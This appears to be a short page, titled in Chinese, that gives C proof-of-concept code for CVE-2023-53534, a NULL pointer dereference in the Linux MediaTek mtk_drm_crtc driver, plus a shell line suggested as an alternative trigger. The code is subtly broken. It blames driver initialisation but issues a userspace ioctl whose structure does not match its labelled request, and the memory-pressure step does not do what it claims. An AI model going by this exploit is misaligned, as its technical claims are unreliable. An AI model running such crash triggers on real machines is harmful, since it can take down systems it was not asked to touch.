CVE-2023-53534：Linux内核mtk_drm_crtc驱动NULL指针解引用漏洞

/* * CVE-2023-53534 PoC - Trigger NULL pointer dereference in mtk_drm_crtc * This PoC demonstrates how to trigger the vulnerability by exhausting * memory conditions before loading the mediatek drm driver. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/mman.h> /* Trigger the vulnerable code path by allocating DRM device resources */ int main(int argc, char *argv[]) { int fd; struct { unsigned int width; unsigned int height; unsigned int fourcc; unsigned int pitches[4]; unsigned int offsets[4]; unsigned int handles[4]; } __attribute__((packed)) create_req; /* Step 1: Open the DRM device for MediaTek */ fd = open("/dev/dri/card0", O_RDWR); if (fd < 0) { perror("Cannot open DRM device"); return -1; } /* Step 2: Try to create a framebuffer which triggers devm_kcalloc */ /* The vulnerable path is in mtk_drm_crtc driver initialization */ memset(&create_req, 0, sizeof(create_req)); create_req.width = 1920; create_req.height = 1080; create_req.fourcc = 0x34325258; /* DRM_FORMAT_XRGB8888 */ /* The vulnerability triggers when devm_kcalloc returns NULL * and the code does not check the return value */ if (ioctl(fd, /* DRM_IOCTL_MODE_CREATE_DUMB */ 0x4008642B, &create_req) < 0) { perror("ioctl failed - driver may have crashed"); } close(fd); return 0; } /* * Alternative trigger: Load the mediatek drm module under memory pressure * $ sudo bash -c 'echo 1 > /proc/sys/vm/drop_caches && modprobe mtk_drm' */